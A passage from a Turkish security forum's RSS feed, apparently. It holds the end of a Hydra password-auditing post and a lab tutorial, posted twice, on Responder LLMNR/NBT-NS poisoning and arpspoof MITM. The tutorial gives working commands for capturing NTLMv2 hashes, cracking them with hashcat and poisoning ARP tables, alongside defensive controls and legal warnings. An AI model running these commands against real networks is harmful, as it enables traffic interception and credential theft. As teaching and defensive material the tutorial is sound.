Profesyonel bir denetimde doğru sıralama şudur: önce keşif (hangi kullanıcı adları gerçekten var, kurumun parola politikası ne, sızıntı veritabanlarında bu kuruma ait kimlik var mı), sonra bu bağlama göre küçük ve hedefli bir liste, en sonunda düşük eşzamanlılıkla dikkatli bir deneme. Çoğu zaman tek bir zayıf veya varsayılan parola (admin/admin, root/toor, kurum adı + yıl gibi) tüm kapıyı açar; dev listeler ise yalnızca gürültü üretir ve sizi engelletir.<br />
<br />
Bir diğer sık hata, HTTP form modülünde yanlış "başarısızlık işareti" belirlemektir. F= ile verdiğiniz metin yanıtta her zaman görünüyorsa Hydra hiçbir denemeyi başarılı saymaz; hiç görünmüyorsa her denemeyi başarılı sanır. Bu yüzden önce elle bir hatalı ve bir doğru giriş yapıp yanıtların farkını net görmek, modülü doğru kurmanın anahtarıdır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
Hydra, çevrimiçi parola denetiminde hızlı ve esnek bir araçtır; gücü protokol çeşitliliği ve paralelliğinde yatar. Ancak çevrimiçi saldırılar gürültülü ve tespit edilebilirdir; başarı büyük ölçüde doğru kullanıcı/parola listesi ve doğru modül yapılandırmasına bağlıdır. Her zaman yetki dahilinde, hedefi yormadan ve bulguları savunma önerilerine (MFA, anahtar tabanlı giriş, fail2ban) dönüştürerek çalışın.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynakça</span></span><ul class="mycode_list"><li>THC-Hydra Resmi Deposu - <a href="https://github.com/vanhauser-thc/thc-hydra" target="_blank" rel="noopener" class="mycode_url">https://github.com/vanhauser-thc/thc-hydra</a><br />
</li>
<li>Kali Tools: hydra - <a href="https://www.kali.org/tools/hydra/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/hydra/</a><br />
</li>
<li>man hydra (yerel man sayfası)<br />
</li>
<li>SecLists - <a href="https://github.com/danielmiessler/SecLists" target="_blank" rel="noopener" class="mycode_url">https://github.com/danielmiessler/SecLists</a><br />
</li>
<li>OWASP: Blocking Brute Force Attacks - <a href="https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks" target="_blank" rel="noopener" class="mycode_url">https://owasp.org/www-community/controls...ce_Attacks</a><br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal Uyarı</span></span><br />
<blockquote class="mycode_quote"><cite>Alıntı:</cite>Çevrimiçi parola denemeleri yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde yapılmalıdır. İzinsiz giriş denemeleri Türk Ceza Kanunu 243-245. maddeleri kapsamında suçtur.</blockquote>
<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=229" target="_blank" title="">000-team-new-8845db.png</a> (Dosya Boyutu: 58.09 KB / İndirme Sayısı: 8)
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=230" target="_blank" title="">konu-09-1.png</a> (Dosya Boyutu: 61.25 KB / İndirme Sayısı: 9)
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=231" target="_blank" title="">konu-09-2.png</a> (Dosya Boyutu: 54.37 KB / İndirme Sayısı: 8)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Responder ve ARP Spoofing Temelleri: Yerel Ağda MITM (Yasal Lab)]]></title>
			<link>https://www.turkteam.org/konu-responder-ve-arp-spoofing-temelleri-yerel-agda-mitm-yasal-lab.html</link>
			<pubDate>Sun, 18 Oct 2026 11:41:23 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=4">KulTigin</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-responder-ve-arp-spoofing-temelleri-yerel-agda-mitm-yasal-lab.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">Selam TurkTeam,</span><br />
<br />
Yerel ağlar (LAN), çoğu zaman güvenliğin en zayıf olduğu yerlerdir. Katman 2 protokollerindeki zayıflıklar, bir saldırganın trafiği kendine yönlendirmesine (ortadaki adam / MITM) veya kimlik bilgilerini toplamasına izin verebilir. Bu rehberde iki klasik tekniği, isim çözümleme zehirleme için <span style="font-weight: bold;" class="mycode_b">Responder</span> ve ARP tablosu zehirleme için <span style="font-weight: bold;" class="mycode_b">arpspoof</span>, SADECE kendi izole lab ağınızda anlatıyoruz. Amaç, saldırıyı anlamak ve ona karşı savunmayı kurmaktır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda Anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>MITM, ARP ve LLMNR/NBT-NS nedir<br />
</li>
<li>Yasal ve izole lab kurulumu<br />
</li>
<li>Responder ile isim çözümleme zehirleme<br />
</li>
<li>Yakalanan NTLMv2 hash'lerini inceleme<br />
</li>
<li>arpspoof ile ARP zehirleme temelleri<br />
</li>
<li>Savunma: zehirlemeyi durduran kontroller<br />
</li>
<li>Sonuç, kaynakça ve yasal uyarı<br />
</li>
</ol>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Temel Kavramlar</span></span><br />
<span style="font-weight: bold;" class="mycode_b">MITM (ortadaki adam),</span> saldırganın iki taraf arasındaki trafiğin akışına girmesidir. Yerel ağda bunu başarmanın iki yaygın yolu vardır:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">ARP zehirleme:</span> ARP, IP adreslerini MAC adreslerine eşler ve kimlik doğrulaması yoktur. Saldırgan sahte ARP yanıtlarıyla "ağ geçidi benim" diyerek kurbanın trafiğini kendi üzerinden geçirtebilir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">İsim çözümleme zehirleme (LLMNR/NBT-NS/mDNS):</span> Windows, DNS başarısız olduğunda bu yayın tabanlı protokollerle "bu isim kimde?" diye sorar. Responder bu yayınlara "bende" diye yanıt verip kurbanı kendine kimlik doğrulamaya zorlar ve NTLMv2 hash'ini yakalar.<br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Yasal ve İzole Lab Kurulumu</span></span><br />
<span style="font-weight: bold;" class="mycode_b">Bu teknikler yalnızca tamamen izole, size ait bir lab ağında denenmelidir.</span> Ne kurumsal ne de paylaşılan bir ağda çalıştırın; MITM tüm ağı etkiler ve yasa dışıdır. İdeal kurulum: bir sanal ağ (Host-Only/Internal) üzerinde bir Kali (saldırgan) ve bir veya iki hedef VM (ör. bir Windows test makinesi).<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo apt update
sudo apt install responder dsniff</code></div></div>Arayüzünüzü doğrulayın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>ip a</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Responder ile İsim Çözümleme Zehirleme</span></span><br />
Responder, LLMNR, NBT-NS ve mDNS yayınlarına yanıt vererek sahte servisler (SMB, HTTP vb.) sunar ve kimlik doğrulama girişimlerini yakalar.<br />
<span style="font-weight: bold;" class="mycode_b">-I</span> - Dinlenecek arayüz; <span style="font-weight: bold;" class="mycode_b">-A</span> - analiz modu (zehirlemeden yalnızca izler, keşif için idealdir):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo responder -I eth0 -A</code></div></div>Analizle ağı anladıktan sonra, lab'da aktif modda çalıştırırsınız:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo responder -I eth0</code></div></div>Responder açılışta hangi sahte sunucuların (SMB, HTTP, MSSQL...) etkin olduğunu listeler ve zehirleme yanıtlarını canlı gösterir.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=167" loading="lazy"  alt="[Resim: attachment.php?aid=167]" class="mycode_img" /></div>
<br />
Hangi sahte sunucuların açık olacağını yapılandırma dosyasından ayarlayabilirsiniz (örneğin yalnızca belirli servisleri açmak için):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo nano /etc/responder/Responder.conf</code></div></div>Bir lab kurbanı var olmayan bir paylaşıma (örn. yanlış yazılmış \\suncu) erişmeye çalıştığında, Responder bu isteği yakalar ve istemciyi kimlik doğrulamaya zorlayarak NTLMv2 hash'ini elde eder.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. Yakalanan Hash'leri İnceleme</span></span><br />
Responder, yakaladığı hash'leri hem ekranda gösterir hem de log dizinine kaydeder (genelde /usr/share/responder/logs/):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>ls /usr/share/responder/logs/
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.50.txt</code></div></div>Yakalanan kayıt, "kullanici:<img src="https://cdn.turkteam.org/images/smilies/biggrin.png" alt="Big Grin" title="Big Grin" class="smilie smilie_4" />OMAIN:challenge:response..." biçiminde bir NTLMv2 hash'idir. Bu hash, çevrimdışı olarak kırılmaya çalışılabilir (yalnızca lab verinizde):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt</code></div></div>Burada -m 5600 Hashcat'in NTLMv2 modudur. Bu, zayıf parolaların yerel ağda ne kadar kolay ifşa olabileceğini somut biçimde gösterir.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=186" loading="lazy"  alt="[Resim: attachment.php?aid=186]" class="mycode_img" /></div>
<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. arpspoof ile ARP Zehirleme Temelleri</span></span><br />
Trafiği üzerinizden geçirmeden önce yönlendirmeyi açın; aksi halde kurbanın bağlantısı kesilir (hizmet reddi):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward</code></div></div>dsniff paketindeki arpspoof ile hem kurbana hem ağ geçidine sahte ARP yanıtları gönderin (iki yönlü):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Kurbana: "ağ geçidi benim"
sudo arpspoof -i eth0 -t 192.168.56.50 192.168.56.1
# Ağ geçidine: "kurban benim" (ikinci terminalde)
sudo arpspoof -i eth0 -t 192.168.56.1 192.168.56.50</code></div></div>Artık trafik sizin üzerinizden akar. Bunu bir lab'da gözlemlemek için kendi analiz aracınızla (ör. tcpdump/Wireshark) akışı izleyebilirsiniz. Kurban makinede ARP önbelleğini inceleyerek etkiyi doğrulayabilirsiniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>arp -a</code></div></div>Saldırgan tarafında üzerinizden geçen trafiği gözlemlemek için (yalnızca lab):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo tcpdump -i eth0 -n host 192.168.56.50</code></div></div>Kurbanın ARP tablosunda ağ geçidi MAC'inin sizin MAC'inizle değiştiğini görmek, tekniğin çalıştığını doğrular.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=187" loading="lazy"  alt="[Resim: attachment.php?aid=187]" class="mycode_img" /></div>
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Önemli:</span> İş bittiğinde zehirlemeyi durdurun (arpspoof'u Ctrl+C ile kapatın); araç çıkışta doğru ARP kayıtlarını geri göndermeye çalışır. ip_forward'ı da eski haline alın.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. Savunma: Zehirlemeyi Durduran Kontroller</span></span><br />
Bu teknikleri öğrenmenin asıl amacı savunmadır. Etkili önlemler:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">LLMNR/NBT-NS/mDNS kapatma:</span> Kurumsal ağlarda bu eski protokolleri Group Policy ile devre dışı bırakmak, Responder saldırılarının çoğunu etkisiz kılar.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">SMB imzalama (signing) zorunlu:</span> NTLM relay saldırılarını kırar ve yakalanan hash'lerin yeniden kullanımını zorlaştırır.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Dynamic ARP Inspection (DAI) ve DHCP Snooping:</span> Yönetilebilir anahtarlarda sahte ARP yanıtlarını engeller.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Port security ve 802.1X:</span> Yetkisiz cihazların ağa katılmasını sınırlar.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Güçlü parola ve MFA:</span> Hash yakalansa bile kırılmasını pratikte imkansız kılar.<br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7. İleri Seviye Not</span></span><br />
Modern testlerde Responder genellikle NTLM relay araçlarıyla (ör. Impacket'in ntlmrelayx betiği) birlikte kullanılır: yakalanan kimlik doğrulama, kırılmadan doğrudan başka bir hedefe "aktarılır". ARP/MITM için ise bettercap, modüler yapısıyla arpspoof'a göre daha kapsamlı bir alternatiftir. Bu ileri senaryolar da yalnızca izole lab ve yetkili testler içindir; mantığı anlamak, savunma kontrollerini doğru konumlandırmanıza yardımcı olur.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
Responder ve ARP zehirleme, yerel ağ katmanının neden dikkatle korunması gerektiğini çarpıcı biçimde gösterir: kimlik doğrulaması olmayan protokoller, bir saldırgana trafik yönlendirme ve kimlik toplama fırsatı verir. Bu teknikleri yalnızca kendi izole lab'ınızda deneyin, her denemeden sonra ortamı temiz bırakın ve öğrendiklerinizi doğrudan savunma kontrollerine (LLMNR kapatma, SMB imzalama, DAI) dönüştürün.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynakça</span></span><ul class="mycode_list"><li>Responder Resmi Deposu - <a href="https://github.com/lgandx/Responder" target="_blank" rel="noopener" class="mycode_url">https://github.com/lgandx/Responder</a><br />
</li>
<li>Kali Tools: responder - <a href="https://www.kali.org/tools/responder/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/responder/</a><br />
</li>
<li>dsniff / arpspoof - <a href="https://www.kali.org/tools/dsniff/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/dsniff/</a><br />
</li>
<li>Hashcat Örnek Hash Türleri (NTLMv2 -m 5600) - <a href="https://hashcat.net/wiki/doku.php?id=example_hashes" target="_blank" rel="noopener" class="mycode_url">https://hashcat.net/wiki/doku.php?id=example_hashes</a><br />
</li>
<li>MITRE ATT&amp;CK - Adversary-in-the-Middle (T1557) - <a href="https://attack.mitre.org/techniques/T1557/" target="_blank" rel="noopener" class="mycode_url">https://attack.mitre.org/techniques/T1557/</a><br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal Uyarı</span></span><br />
<blockquote class="mycode_quote"><cite>Alıntı:</cite>MITM, ARP zehirleme ve isim çözümleme zehirleme teknikleri tüm yerel ağı etkiler ve SADECE kendinize ait, izole bir lab ağında denenmelidir. İzinsiz uygulanması Türk Ceza Kanunu 243-245. maddeleri kapsamında ağır suçtur; başkasının trafiğine müdahale ve kimlik bilgisi ele geçirme kesinlikle yasaktır.</blockquote>
<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=167" target="_blank" title="">000-team-gb-konu-15.png</a> (Dosya Boyutu: 65.32 KB / İndirme Sayısı: 7)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">Selam TurkTeam,</span><br />
<br />
Yerel ağlar (LAN), çoğu zaman güvenliğin en zayıf olduğu yerlerdir. Katman 2 protokollerindeki zayıflıklar, bir saldırganın trafiği kendine yönlendirmesine (ortadaki adam / MITM) veya kimlik bilgilerini toplamasına izin verebilir. Bu rehberde iki klasik tekniği, isim çözümleme zehirleme için <span style="font-weight: bold;" class="mycode_b">Responder</span> ve ARP tablosu zehirleme için <span style="font-weight: bold;" class="mycode_b">arpspoof</span>, SADECE kendi izole lab ağınızda anlatıyoruz. Amaç, saldırıyı anlamak ve ona karşı savunmayı kurmaktır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda Anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>MITM, ARP ve LLMNR/NBT-NS nedir<br />
</li>
<li>Yasal ve izole lab kurulumu<br />
</li>
<li>Responder ile isim çözümleme zehirleme<br />
</li>
<li>Yakalanan NTLMv2 hash'lerini inceleme<br />
</li>
<li>arpspoof ile ARP zehirleme temelleri<br />
</li>
<li>Savunma: zehirlemeyi durduran kontroller<br />
</li>
<li>Sonuç, kaynakça ve yasal uyarı<br />
</li>
</ol>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Temel Kavramlar</span></span><br />
<span style="font-weight: bold;" class="mycode_b">MITM (ortadaki adam),</span> saldırganın iki taraf arasındaki trafiğin akışına girmesidir. Yerel ağda bunu başarmanın iki yaygın yolu vardır:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">ARP zehirleme:</span> ARP, IP adreslerini MAC adreslerine eşler ve kimlik doğrulaması yoktur. Saldırgan sahte ARP yanıtlarıyla "ağ geçidi benim" diyerek kurbanın trafiğini kendi üzerinden geçirtebilir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">İsim çözümleme zehirleme (LLMNR/NBT-NS/mDNS):</span> Windows, DNS başarısız olduğunda bu yayın tabanlı protokollerle "bu isim kimde?" diye sorar. Responder bu yayınlara "bende" diye yanıt verip kurbanı kendine kimlik doğrulamaya zorlar ve NTLMv2 hash'ini yakalar.<br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Yasal ve İzole Lab Kurulumu</span></span><br />
<span style="font-weight: bold;" class="mycode_b">Bu teknikler yalnızca tamamen izole, size ait bir lab ağında denenmelidir.</span> Ne kurumsal ne de paylaşılan bir ağda çalıştırın; MITM tüm ağı etkiler ve yasa dışıdır. İdeal kurulum: bir sanal ağ (Host-Only/Internal) üzerinde bir Kali (saldırgan) ve bir veya iki hedef VM (ör. bir Windows test makinesi).<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo apt update
sudo apt install responder dsniff</code></div></div>Arayüzünüzü doğrulayın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>ip a</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Responder ile İsim Çözümleme Zehirleme</span></span><br />
Responder, LLMNR, NBT-NS ve mDNS yayınlarına yanıt vererek sahte servisler (SMB, HTTP vb.) sunar ve kimlik doğrulama girişimlerini yakalar.<br />
<span style="font-weight: bold;" class="mycode_b">-I</span> - Dinlenecek arayüz; <span style="font-weight: bold;" class="mycode_b">-A</span> - analiz modu (zehirlemeden yalnızca izler, keşif için idealdir):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo responder -I eth0 -A</code></div></div>Analizle ağı anladıktan sonra, lab'da aktif modda çalıştırırsınız:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo responder -I eth0</code></div></div>Responder açılışta hangi sahte sunucuların (SMB, HTTP, MSSQL...) etkin olduğunu listeler ve zehirleme yanıtlarını canlı gösterir.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=167" loading="lazy"  alt="[Resim: attachment.php?aid=167]" class="mycode_img" /></div>
<br />
Hangi sahte sunucuların açık olacağını yapılandırma dosyasından ayarlayabilirsiniz (örneğin yalnızca belirli servisleri açmak için):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo nano /etc/responder/Responder.conf</code></div></div>Bir lab kurbanı var olmayan bir paylaşıma (örn. yanlış yazılmış \\suncu) erişmeye çalıştığında, Responder bu isteği yakalar ve istemciyi kimlik doğrulamaya zorlayarak NTLMv2 hash'ini elde eder.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. Yakalanan Hash'leri İnceleme</span></span><br />
Responder, yakaladığı hash'leri hem ekranda gösterir hem de log dizinine kaydeder (genelde /usr/share/responder/logs/):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>ls /usr/share/responder/logs/
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.50.txt</code></div></div>Yakalanan kayıt, "kullanici:<img src="https://cdn.turkteam.org/images/smilies/biggrin.png" alt="Big Grin" title="Big Grin" class="smilie smilie_4" />OMAIN:challenge:response..." biçiminde bir NTLMv2 hash'idir. Bu hash, çevrimdışı olarak kırılmaya çalışılabilir (yalnızca lab verinizde):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt</code></div></div>Burada -m 5600 Hashcat'in NTLMv2 modudur. Bu, zayıf parolaların yerel ağda ne kadar kolay ifşa olabileceğini somut biçimde gösterir.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=186" loading="lazy"  alt="[Resim: attachment.php?aid=186]" class="mycode_img" /></div>
<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. arpspoof ile ARP Zehirleme Temelleri</span></span><br />
Trafiği üzerinizden geçirmeden önce yönlendirmeyi açın; aksi halde kurbanın bağlantısı kesilir (hizmet reddi):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward</code></div></div>dsniff paketindeki arpspoof ile hem kurbana hem ağ geçidine sahte ARP yanıtları gönderin (iki yönlü):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Kurbana: "ağ geçidi benim"
sudo arpspoof -i eth0 -t 192.168.56.50 192.168.56.1
# Ağ geçidine: "kurban benim" (ikinci terminalde)
sudo arpspoof -i eth0 -t 192.168.56.1 192.168.56.50</code></div></div>Artık trafik sizin üzerinizden akar. Bunu bir lab'da gözlemlemek için kendi analiz aracınızla (ör. tcpdump/Wireshark) akışı izleyebilirsiniz. Kurban makinede ARP önbelleğini inceleyerek etkiyi doğrulayabilirsiniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>arp -a</code></div></div>Saldırgan tarafında üzerinizden geçen trafiği gözlemlemek için (yalnızca lab):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo tcpdump -i eth0 -n host 192.168.56.50</code></div></div>Kurbanın ARP tablosunda ağ geçidi MAC'inin sizin MAC'inizle değiştiğini görmek, tekniğin çalıştığını doğrular.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=187" loading="lazy"  alt="[Resim: attachment.php?aid=187]" class="mycode_img" /></div>
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Önemli:</span> İş bittiğinde zehirlemeyi durdurun (arpspoof'u Ctrl+C ile kapatın); araç çıkışta doğru ARP kayıtlarını geri göndermeye çalışır. ip_forward'ı da eski haline alın.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. Savunma: Zehirlemeyi Durduran Kontroller</span></span><br />
Bu teknikleri öğrenmenin asıl amacı savunmadır. Etkili önlemler:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">LLMNR/NBT-NS/mDNS kapatma:</span> Kurumsal ağlarda bu eski protokolleri Group Policy ile devre dışı bırakmak, Responder saldırılarının çoğunu etkisiz kılar.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">SMB imzalama (signing) zorunlu:</span> NTLM relay saldırılarını kırar ve yakalanan hash'lerin yeniden kullanımını zorlaştırır.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Dynamic ARP Inspection (DAI) ve DHCP Snooping:</span> Yönetilebilir anahtarlarda sahte ARP yanıtlarını engeller.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Port security ve 802.1X:</span> Yetkisiz cihazların ağa katılmasını sınırlar.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Güçlü parola ve MFA:</span> Hash yakalansa bile kırılmasını pratikte imkansız kılar.<br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7. İleri Seviye Not</span></span><br />
Modern testlerde Responder genellikle NTLM relay araçlarıyla (ör. Impacket'in ntlmrelayx betiği) birlikte kullanılır: yakalanan kimlik doğrulama, kırılmadan doğrudan başka bir hedefe "aktarılır". ARP/MITM için ise bettercap, modüler yapısıyla arpspoof'a göre daha kapsamlı bir alternatiftir. Bu ileri senaryolar da yalnızca izole lab ve yetkili testler içindir; mantığı anlamak, savunma kontrollerini doğru konumlandırmanıza yardımcı olur.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
Responder ve ARP zehirleme, yerel ağ katmanının neden dikkatle korunması gerektiğini çarpıcı biçimde gösterir: kimlik doğrulaması olmayan protokoller, bir saldırgana trafik yönlendirme ve kimlik toplama fırsatı verir. Bu teknikleri yalnızca kendi izole lab'ınızda deneyin, her denemeden sonra ortamı temiz bırakın ve öğrendiklerinizi doğrudan savunma kontrollerine (LLMNR kapatma, SMB imzalama, DAI) dönüştürün.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynakça</span></span><ul class="mycode_list"><li>Responder Resmi Deposu - <a href="https://github.com/lgandx/Responder" target="_blank" rel="noopener" class="mycode_url">https://github.com/lgandx/Responder</a><br />
</li>
<li>Kali Tools: responder - <a href="https://www.kali.org/tools/responder/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/responder/</a><br />
</li>
<li>dsniff / arpspoof - <a href="https://www.kali.org/tools/dsniff/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/dsniff/</a><br />
</li>
<li>Hashcat Örnek Hash Türleri (NTLMv2 -m 5600) - <a href="https://hashcat.net/wiki/doku.php?id=example_hashes" target="_blank" rel="noopener" class="mycode_url">https://hashcat.net/wiki/doku.php?id=example_hashes</a><br />
</li>
<li>MITRE ATT&amp;CK - Adversary-in-the-Middle (T1557) - <a href="https://attack.mitre.org/techniques/T1557/" target="_blank" rel="noopener" class="mycode_url">https://attack.mitre.org/techniques/T1557/</a><br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal Uyarı</span></span><br />
<blockquote class="mycode_quote"><cite>Alıntı:</cite>MITM, ARP zehirleme ve isim çözümleme zehirleme teknikleri tüm yerel ağı etkiler ve SADECE kendinize ait, izole bir lab ağında denenmelidir. İzinsiz uygulanması Türk Ceza Kanunu 243-245. maddeleri kapsamında ağır suçtur; başkasının trafiğine müdahale ve kimlik bilgisi ele geçirme kesinlikle yasaktır.</blockquote>
<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=167" target="_blank" title="">000-team-gb-konu-15.png</a> (Dosya Boyutu: 65.32 KB / İndirme Sayısı: 7)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[nmap NSE Scriptleri: http-enum, smb-os-discovery ve Kendi Lab Notlarım]]></title>
